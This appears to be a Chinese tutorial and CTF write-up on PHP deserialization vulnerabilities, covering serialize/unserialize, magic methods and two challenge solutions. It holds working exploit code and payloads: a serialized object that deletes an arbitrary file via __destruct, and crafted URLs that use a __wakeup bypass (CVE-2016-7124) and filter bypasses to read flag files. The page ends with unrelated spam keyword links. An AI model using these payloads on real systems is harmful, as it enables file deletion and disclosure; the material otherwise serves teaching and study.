千家信息网

PHP反序列化漏洞的理解和应用

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章主要讲解了"PHP反序列化漏洞的理解和应用",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"PHP反序列化漏洞的理解和应用"吧!01学习前最好提前
千家信息网最后更新 2026年10月31日PHP反序列化漏洞的理解和应用

这篇文章主要讲解了"PHP反序列化漏洞的理解和应用",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"PHP反序列化漏洞的理解和应用"吧!

01学习前最好提前掌握的知识

  • PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)

  • PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)

  • serialize()

(http://php.net/manual/zh/function.serialize.php)

与unserialize()

(http://php.net/manual/zh/function.unserialize.php)

02序列化与反序列化

PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。

serialize()

当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;

class people

{

public $name = "f1r3K0";

public $age = '18';

}

$class = new people();

$class_ser = serialize($class);

print_r($class_ser);

?>

测试结果:

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母 O
  • 下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串

unserialize()

与 serialize() 对应的,unserialize()可以从序列化后的结果中恢复对象(object),我们翻阅PHP手册发现官方给出的是:unserialize - 从已存储的表示中创建 PHP 的值。

我们可以直接把之前序列化的对象反序列化回来来测试函数,如下:

class people

{

public $name = "f1r3K0";

public $age = '18';

}

$class = new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unse r);

?>

提醒一下,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。(先埋个伏笔,这个点后面会提)

03反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心"构造的序列化字符串,从而控制对象内部的变量甚至是函数。

利用构造函数等

Magic function

php中有一类特殊的方法叫"Magic function",就是我们常说的"魔术方法" 这里我们着重关注一下几个:

  • __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

  • __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。

  • __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。

  • __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。

  • __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。

测试如下:

class people

{

public $name = "f1r3K0";

public $age = '18';

function __wakeup()

{

echo "__wakeup()";

}

function __construct()

{

echo "__consrtuct()";

}

function __destruct()

{

echo "__destruct()";

}

function __toString()

{

echo "__toString";

}

/*function __sleep()

{

echo "__sleep";

}*/

}

$class = new people();

$class_ser = serialize($class);

print_r($class_ser);

$class_unser = unserialize($class_ser);

print_r($class_unser);

?>

结果如下:

从运行结果来看,我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时,对于其他方法的调用顺序也一目了然了。(注意:这里我将sleep注释掉了,因为sleep会在序列化的时候调用,因此执行sleep方法就不会再执行序列以及之后的操作了。)

利用场景

__wakeup()和destruct()

由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子,代码如下:

//logfile.php 删除临时日志文件

class LogFile {

//log文件名

public $filename = 'error.log';

//存储日志文件

public function LogData($text) {

echo 'Log some data:' . $text . '
';

file_put_contents($this->filename, $text, FILE_APPEND);

}

//Destructor删除日志文件

public function __destruct() {

echo '__destruct delete' . $this->filename . 'file.
';

unlink(dirname(__FILE__) . '/' . $this->filename); //删除当前目录下的filename这个文件

}

}

?>

//包含了'logfile.php'的主页面文件index.php

class User {

//属性

public $age = 0;

public $name = '';

//调用函数来输出类中属性

public function PrintData() {

echo 'User' . $this->name . 'is' . $this->age . 'years old.
';

}

}

$usr = unserialize($_GET['user']);

?>

梳理下这2个php文件的功能,index.php是一个有php序列化漏洞的主业文件,logfile.php的功能就是在临时日志文件被记录了之后调用 __destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉,利用这个漏洞的方式就是,通过构造能够删除source.txt的序列化字符串,然后get方式传入被反序列化函数,反序列化为对象,对象销毁后调用__destruct()来删除source.txt.

漏洞利用exp

  1. include 'logfile.php';

  2. $obj = new LogFile();

  3. $obj->filename = 'source.txt'; //source.txt为你想删除的文件

  4. echo serialize($obj) . '
    ';

  5. ?>

这里我们通过['GET']传入序列化字符串,调用反序列化函数来删除想要删除的文件。

之前还看到过一个wakeup()非常有意思的例子,这里直接上链接了

chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

04其它magic function的利用

这里我就结合PCTF和今年国赛上的题来分析了

PCTF

题目链接:(http://web.jarvisoj.com:32768/index.php)

  • 前面几步都是很常见的读文件源码

    这里直接放出给的两个源码

  1. //index.php

  2. require_once('shield.php');

  3. $x = new Shield();

  4. isset($_GET['class']) && $g = $_GET['class'];

  5. if (!empty($g)) {

  6. $x = unserialize($g);

  7. }

  8. echo $x->readfile();

  9. ?>

上边index.php提示了包含的shield.php所以说直接构造base64就完事了

  1. //shield.php

  2. //flag is in pctf.php

  3. class Shield {

  4. public $file;

  5. function __construct($filename = '') {

  6. $this -> file = $filename;

  7. }

  8. function readfile() {

  9. if (!empty($this->file) && stripos($this->file,'..')===FALSE

  10. && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

  11. return @file_get_contents($this->file);

  12. }

  13. }

  14. }

index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容,输出了readfile()方法

shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了,因此不会影响我们对可控$file的利用。

构造poc

  1. class Shield

  2. {

  3. public $file = "pctf.php";

  4. }

  5. $flag = new Shield();

  6. print_r(serialize($flag));

  7. ?>最终poc:


最终POC

http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

ciscn2019 web1- JustSoso
  1. //index.php

  2. error_reporting(0);

  3. $file = $_GET["file"];

  4. $payload = $_GET["payload"];

  5. if(!isset($file)){

  6. echo 'Missing parameter'.'
    ';

  7. }

  8. if(preg_match("/flag/",$file)){

  9. die('hack attacked!!!');

  10. }

  11. @include($file);

  12. if(isset($payload)){

  13. $url = parse_url($_SERVER['REQUEST_URI']);

  14. parse_str($url['query'],$query);

  15. foreach($query as $value){

  16. if (preg_match("/flag/",$value)) {

  17. die('stop hacking!');

  18. exit();

  19. }

  20. }

  21. $payload = unserialize($payload);

  22. }else{

  23. echo "Missing parameters";

  24. }

  25. ?>

  1. class Handle{

  2. private $handle;

  3. public function __wakeup(){

  4. foreach(get_object_vars($this) as $k => $v) {

  5. $this->$k = null;

  6. }

  7. echo "Waking up\n";

  8. }

  9. public function __construct($handle) {

  10. $this->handle = $handle;

  11. }

  12. public function __destruct(){

  13. $this->handle->getFlag();

  14. }

  15. }

  16. class Flag{

  17. public $file;

  18. public $token;

  19. public $token_flag;

  20. function __construct($file){

  21. $this->file = $file;

  22. $this->token_flag=&$this->token;

  23. }

  24. public function getFlag(){

  25. $this->token_flag = md5(rand(1,10000));

  26. if($this->token === $this->token_flag)

  27. {

  28. if(isset($this->file)){

  29. echo @highlight_file($this->file,true);

  30. }

  31. }

  32. }

  33. }

其实刚开始做的时候是很懵逼了,一直在纠结爆破md5上边。22233333

1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败,这样就可以在payload里出现flag,这里应该n1ctf的web eating cms的绕过方式,添加 ///index.php绕过。

2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作,这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

3.绕md5这里用到了PHP中引用变量的知识

https://blog.csdn.net/qq_33156633/article/details/79936487

简单来说就是,当两个变量指向同一地址时,例如: $b=&$a,这里的 $b指向的是 $a的区域,这样b就随着a变化而变化,同样的原理,我们在第二步序列化时加上这一步

  1. $b = new Flag("flag.php");

  2. $b->token=&$b->token_flag;

  3. $a = new Handle($b);

这样最后的token就和token_flag保持一致了。

最后的POC

  1. class Handle

  2. {

  3. private $handle;

  4. public function __wakeup()

  5. {

  6. foreach(get_object_vars($this) as $k => $v)

  7. {

  8. $this->$k = null;

  9. }

  10. echo "Waking upn";

  11. }

  12. public function __construct($handle)

  13. {

  14. $this->handle = $handle;

  15. }

  16. public function __destruct()

  17. {

  18. $this->handle->getFlag();

  19. }

  20. }

  21. class Flag

  22. {

  23. public $file;

  24. public $token;

  25. public $token_flag;

  26. function __construct($file)

  27. {

  28. $this->file = $file;

  29. $this->token_flag = $this->token = md5(rand(1,10000));

  30. }

  31. public function getFlag()

  32. {

  33. if(isset($this->file))

  34. {

  35. echo @highlight_file($this->file,true);

  36. }

  37. }

  38. }

  39. $b = new Flag("flag.php");

  40. $b->token=&$b->token_flag;

  41. $a = new Handle($b);

  42. echo(serialize($a));

  43. ?>



这里还有一个点就是我们需要用来补全空缺的字符,又因为含有private 变量,需要 encode 一下。

最终payload:

file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

05利用普通成员方法

前面谈到的利用都是基于"自动调用"的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过"自动调用"来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

感谢各位的阅读,以上就是"PHP反序列化漏洞的理解和应用"的内容了,经过本文的学习后,相信大家对PHP反序列化漏洞的理解和应用这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

序列 对象 函数 文件 漏洞 方法 字符 字符串 就是 代码 日志 时候 应用 变量 结果 学习 测试 内容 属性 方式 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 咖啡网 河南云网互联网络科技有限公司 互联网和科技技术 科技互联网龙头 互联网中国科技 未来的互联网科技 深圳艾佳互联网科技 左右互联网络科技 卓越科技互联网 招聘 滨湖区互联网智能科技产品供应 宝灵互联网科技有限公司 荆州市昕露互联网络科技有限公司 中国互联网公司排名锤子科技 深圳艾果互联网通讯科技 国大互联网教育科技有限公司薪资 科技互联网的核心竞争力 互联网安防科技感 互联网金融运营模式中的金融科技 科技和互联网行业的特点 恒生互联网科技趋势 广州紫鲸互联网科技有限公司 互联网扶贫科技 金诺互联网科技 滨湖区互联网智能科技产品供应 福州新华互联网科技学校 知乎 成都互联网科技公司工作好不好 互联网数据科技专业 电子商务与互联网科技的关系 黑龙江互联网科技公司 广东猫王互联网科技有限公司电话
0